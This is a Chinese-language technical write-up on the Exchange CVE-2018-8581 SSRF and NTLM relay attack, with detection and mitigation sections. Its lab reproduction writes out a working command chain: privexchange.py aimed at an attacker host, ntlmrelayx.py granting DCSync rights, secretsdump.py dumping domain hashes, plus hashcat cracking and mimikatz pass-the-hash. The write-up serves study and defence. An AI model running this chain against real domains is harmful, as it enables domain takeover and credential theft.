前言

前一段时间Exchange出现了CVE-2018-8581漏洞,整个漏洞利用超赞,很值得复现以及分析,因为其中需要的不仅仅是Web方面的,更多还需要Windows相关的安全知识,其中相结合才能达到如此大的危害。

其根本原因由于PushSubscription接口存在SSRF,它允许为任何用户推送订阅所指定的URL,当Exchange尝试连接URL时候,将会用CredentialCache.DefaultCredentials方式进行。

其中CredentialCache.DefaultCredentials是以最高权限SYSTEM权限运行,通过SSRF发送Exchange的最高权限net NTLM给攻击者,注意SSRF回连Attack是以MAIL权限。

攻击1、在调用接口时候,使用其他用户SID来伪造攻击,从而可以达到收取他人邮件,模拟他人发送邮件。攻击者利用反射攻击回到Exchange服务器去调用接口,这个时候是最高权限的调用。

攻击2、通过NTLM Relay中HTTP -> LDAP协议的转变,进而攻击域控。由于Exchange角色权限具有修改writeDACL权限,可以将普通域用户赋予具有DCSync权限,从而Dump域控中的Hash信息。

测试环境:

windows 2008: 域控: 192.168.186.100
windows 2012: Exchange 2013: mail.lemon.com -> 192.168.186.101
uuntu: attack: 192.168.186.133

漏洞分析

NTLM Relay

1、LM、NTLM、NET-NTLM三种Hash

一般我们通过Mimikatz抓取的Hash值为如下:

test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::

其中E52CAC67419A9A22664345140A852F61便为LM hash,67A54E1C9058FCA16498061B96863248为NTLM hash,因为Windows本身不存储明文密码,都是通过加密后保存为以上的hash,也就是放置在SAM文件中。

Vista、Server 2008后默认只存储NTLM Hash值,可以理解为NTLM Hash为LM Hash的升级版,所以在后续的系统都是以NTLM Hash为主,下面主要也是以NTLM Hash作为分析。

Net-NTLM hash通常是用于网络环境下的NTLM Hash验证,它是由NTLM Hash去加密Chanllenge最后生成的一个值,比如下面是Net-NTLMv2的格式:

username::domain:server challenge:HMAC-MD5:blob

Responder工具获取到的就是一个Net-NTLM hash,它是不能够进行Pass The Hash!Pass The Hash的那个Hash是NTLM Hash!原因在于Pass The Hash挑战中,需要的是NTLM Hash去加密Chanllenge然后发送给服务端,下面挑战机制会详细说明。

虽然没法Pass the Hash,但是我们可以通过利用hashcat去爆破它得到明文密码。

另外微软中提供了很多SSP(security support provider),这是一些已封装好的流程,主要用于一些安全中,比如身份验证等。NTLM SSP就属于其中,所使用的也是挑战响应机制,主要用于工作组中。如果是在域下,一般会用到的SSP是Kerberos。

2、挑战响应机制

这里引用n1nty师傅文中的详解

这里假设客户端以账号 admin 密码 123,连接服务端,身份验证方式为 NTLM SSP。
共 4 步:
1、客户端利用 NTLM SSP 生成 NTLM_NEGOTIATE 消息 (被称为 TYPE 1 消息),并将 TYPE 1 消息发送给服务端。

2、服务端接收到客户端发送过来的 TYPE 1 消息,传入 NTLM SSP,得到 NTLM_CHALLENGE 消息(被称为 TYPE 2 消息),并将此消息发回客户端。此消息中包含了一个由服务端生成的随机值,此随机值被称为 challenge。

3、客户端收到服务端返回的 TYPE 2 消息,并取出其中的随机值 challenge。客户端将密码 (123) 转换为 LM HASH 与 NT HASH,同时利用计算出来的 LM HASH 与/或 NT HASH 对 challenge 进行一些计算。算出来的那段数据,根据具体的情况,有可能是(为了简洁,这里的描述并不十分准确):
Net LM-Hash(在有的文章里也被称为 LM Response)
Net NTLM-Hash(在有的文章里也被称为 NTLM Response)
Net NTLM2-Hash(在有的文章里也被称为 NTLM2 Response/NTLM2 Session Response)
Net NTLMv2-Hash(在有的文章里也被称为 NTLMv2 Response)
Net LMv2-Hash(在有的文章里也被称为 LMv2 Response)
总而言之,计算出来的这段 hash 数据,将会封装到 NTLM_AUTH 消息中(被称为 TYPE 3 消息),发往服务端

4、服务端收到 TYPE 3 消息后,将会重复第 3 步客户端的操作,也计算出来一个 hash。然后将自己计算出来的 hash 与客户端发送过来的 TYPE 3 消息中的 hash 进行对比,如果一样,则客户端验证成功。不一样,则客户端验证失败。

提取Net NTLMv2-Hash,主要是看第二个、第三个数据包。

第二个数据包:

可以看到其中Server Challenge为: 26cba11eceb4b243
这里要注意到Negotiate Flag是0xa2890205,如果为0x00004000,则是本地进行验证,将不会走网络验证方面,因为本地可能已经建立好凭证。

第三个数据包:

可以获取到Response为:

f8556d6ff9a66795e945da784e115a21:0101000000000000abf29cf9a5b7d4017369543035617758000000000100060050004300310002000a004c0045004d004f004e0003001a007000630031002e006c0065006d006f006e002e0063006f006d00040012006c0065006d006f006e002e0063006f006d00050012006c0065006d006f006e002e0063006f006d0007000800abf29cf9a5b7d4010900100063006900660073002f005000430031000000000000000000

最后通过username::domain:server challenge:HMAC-MD5:blob格式可以构造出Net NTLMv2-Hash:

administrator::'':26cba11eceb4b243:f8556d6ff9a66795e945da784e115a21:0101000000000000abf29cf9a5b7d4017369543035617758000000000100060050004300310002000a004c0045004d004f004e0003001a007000630031002e006c0065006d006f006e002e0063006f006d00040012006c0065006d006f006e002e0063006f006d00050012006c0065006d006f006e002e0063006f006d0007000800abf29cf9a5b7d4010900100063006900660073002f005000430031000000000000000000

这里name和domain是从第三步中可以获取到,我这里domain有点奇怪,被设置为空。

破解: hashcat -m 5600 Net-NTLMv2-Hash password.txt -o found.txt --force

3、NTLM Relay

观察上图NTLM Relay过程,下面将把左边的Server称为Server1,右边的Server称为Server2
单看一边,Server1 与 Attack的过程就是在进行挑战响应,但是Attack还会将Server1的请求转发一次到Server2,最终结果就是Attack将会模拟了Server1的身份对Server2进行操作。

通常Server1、Server2是在同一台机器上,这样将可以无需密码就能对某一台机器进行攻击,一般叫这个为反射攻击

在讲解挑战响应机制的时候,使用的是SMB协议,在Exchange漏洞中是以HTTP协议进行。
– 因为SMB Relay危害较大,所以在MS08-068中已经进行修复,主要是禁止SMB -> SMB同一台机器上的重放。
– 但是对于跨协议HTTP -> SMB,之后的MS16-075进行修复,禁止这种方式进行攻击。

完成这种协议之间的转换只需要将NTLM的一些消息提取,然后再次放到另外一种协议中即可。


从NTLM验证有HTTP、SMB、LDAP、IMAP多种协议实现、Relay到其他机器两个方面可以进行拓展。

第一种: HTTP -> HTTP
为了清晰表达,将一台Exchange画分开,左边为Exchange向Attack进行请求,右边为Attack重放流量给Exchange。192.168.186.101为Exchange,192.168.186.133为Attack。

左边的4、5步骤便是下面的第一个红框,6、7步骤是下面的第二个红框。

右边的4、5步骤则是下面的11请求,6、7步骤则是下面的12请求。

可以通过impacket.ntlm来看数据中的具体信息。

from impacket.ntlm import *
import base64

negotiate_data = base64.b64decode('TlRMTVNTUAABAAAAB7IIogUABQAsAAAABAAEACgAAAAGAvAjAAAAD01BSUxMRU1PTg==')
type1 = NTLMAuthNegotiate()
type1.fromString(negotiate_data)
print type1.dump()

challenge_data = base64.b64decode('TlRMTVNTUAACAAAACgAKADgAAAAFwomiVsVkxYeRe4UQygVl2QAAAHYAdgBCAAAABgLwIwAAAA9MAEUATQBPAE4AAgAKAEwARQBNAE8ATgABAAgATQBBAEkATAAEABIAbABlAG0AbwBuAC4AYwBvAG0AAwAcAG0AYQBpAGwALgBsAGUAbQBvAG4ALgBjAG8AbQAFABIAbABlAG0AbwBuAC4AYwBvAG0ABwAIAHG08hGEotQBAAAAAA==')
type2 = NTLMAuthChallenge()
type2.fromString(challenge_data)
print type2.dump()

ayth_data = base64.b64decode('TlRMTVNTUAADAAAAAAAAAFgAAAAAAAAAWAAAAAAAAABYAAAAAAAAAFgAAAAAAAAAWAAAAAAAAABYAAAABcKIogYC8CMAAAAPCzgjA4s1xh35cbnnHoR1AA==')
type3 = NTLMAuthChallengeResponse()
type3.fromString(ayth_data)
print type3.dump()

这里提一下HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck注册表,默认是为1(不会进行loopback check),如果想进行修复,则删除它或者修改为0。

如果存在Loopback Check,它是在检测内存中的type3缓存消息与发送到此计算机的其他type3消息是否相同,相同则是有反射攻击。

事实上http的Net-ntlm hash还是能够relay到其他机器上,并且它有一定权限,只不过在同一台的Exchange上会认证失败从而无法调用接口。另外有人提到集群情况下补丁无效,正如上面所提到的,它是relay到另外一台机器,所以以上只是一个缓解措施。

第二种: HTTP -> LDAP

这里就是通过Exchange获取到相关数据,然后通过LDAP协议Relay到域控上。比如下面就是通过HTTP将challenge Relay到了LDAP协议上。

这里有几点比较关键
1、LDAP可以读取与修改活动目录的对象
2、Exchange所在的Exchange Windows Permissions组默认具有writeDACL权限,也就是写ACL权限

如果权限比较高的话,比如域管,可以通过LDAP直接提权普通用户,如果稍微低一点,比如Exchange中只是具有某些威胁的权限组,将普通用户添加了Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-GetChanges(1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)权限。

这样普通用户就能使用DCSync进行Dump域控的Hash。

PS: 关于跨协议是有一些问题,比如SMB签名来防止Relay。可以关注一下JAVA中的SSRF进行Relay,原因在于JAVA默认会以当前权限去认证401网页。
可以在gpedit.msc处进行查看SMB签名开启情况

漏洞复现

攻击域控

利用程序: privexchange.pyntlmrelayx.py、secretsdump.py

ubuntu: 192.168.186.133
dc: 192.168.186.100
mail: mail.lemon.com -> 192.168.186.101
域名: LEMON
用户名: lemon

命令:
python privexchange.py -ah 192.168.186.133 mail.lemon.com -u lemon -p password -d LEMON --debug

ntlmrelayx.py -t ldap://192.168.186.100 --escalate-user lemon

python secretsdump.py LEMON/lemon@192.168.186.100 -just-dc

首先需要进行LDAP监听,然后进行SSRF攻击。

Relay之后将会给lemon用赋予acl权限。

之后便可以使用lemon用户向域控进行dump hash数据。

利用dump的hash进行pth: mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:LEMON /ntlm:fc399xxxxxxxxxxxxxxxxx89088",便可以进入域控。

越权操作

通过这个利用程序,主要是反射攻击调用了Exchange的EWS接口来进行操作。

越权的根本依据是通SID来冒充其他人,所以获取SID至为重要。由于Exchange 2010没有权限那个功能,原文所展示的获取SID是失败的,但是可以通过以下方式来获取。

1、反向委托(Exchange 2007+)

2、WMI命令获取(拥有域内机器权限)

wmi useraccount where name='lemon'

再参考EWS接口便能进行更多的邮件操作。

漏洞防御

攻击检测

根据这次攻击手法,可以从下面一些点进行检测是否受到攻击。

1、用户检测
Exchange会为用户添加权限,所以可以查看哪些用户有Replication-Get-Changes-AllDS-Replication-GetChanges权限,检测脚本

powershell -ep bypass

Import-Module  ActiveDirectory
Import-Module -force .\Get-DCSyncRights.ps1
Get-DCSyncRights | Export-CSV DCSyncRights.csv -NoType

可以看到LEMON\lemon是存在这个权限的

2、日志检测
最后dump域控hash数据主要是利用了DCSync,所以可以针对其对应的事件ID为4662进行查询,Log Parser – windows日志分析工具

LogParser.exe -i:EVT "select distinct TimeGenerated,EXTRACT_TOKEN(Strings,2,'|') AS Domain,EXTRACT_TOKEN(Strings,1,'|') AS UserName,ComputerName from 'C:\Users\lemon\Desktop\test.evtx' where EventID=4662 order by TimeGenerated desc"

可以看到LEMON\lemon,再根据时间、用户登录等维度可以定位到具体IP

漏洞修补

目前我们已经积极联系微软专家,询问相关修复方案。以下缓解方案仅作为个人研究,可以进行参考。已经测试不会影响发送接收邮件功能,其余功能未知,建议等待微软官方的修复方案。

首先需要做的是移除攻击者的权限,可以使用PowerView脚本

Remove-DomainObjectAcl -TargetIdentity "DC=lemon,DC=com" -PrincipalIdentity lemon -Rights DCSync

1、删除注册表
其修复方案只能修复越权操作Api接口,因为DisableLoopbackCheck被删除后,ntlm重放时候,本地认证将会失败,但是在集群情况下是属于对其他机器进行重放,导致可以攻击,所以此修复方案只能一定程度上缓解。

reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v DisableLoopbackCheck /f

2、去除Exchange默认允许修改ACL的权限
Fix-DomainObjectDACL

powershell -ep bypass

Import-Module  ActiveDirectory
.\Fix-DomainObjectDACL -Fix

最后可以看到再次攻击时,提示没有权限,表示修复成功。

参考文章

AN INSINCERE FORM OF FLATTERY: IMPERSONATING USERS ON MICROSOFT EXCHANGE

escalating-privileges-with-acls-in-active-directory

EWS接口手册

Escalating privileges with ACLs in Active Directory

360 A-TEAM 带你走进 NTLM-Relay

Ntlm-Relay-Reloaded-Attack-methods-you-do-not-know

Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes)

Review of NTLM reflection attack over network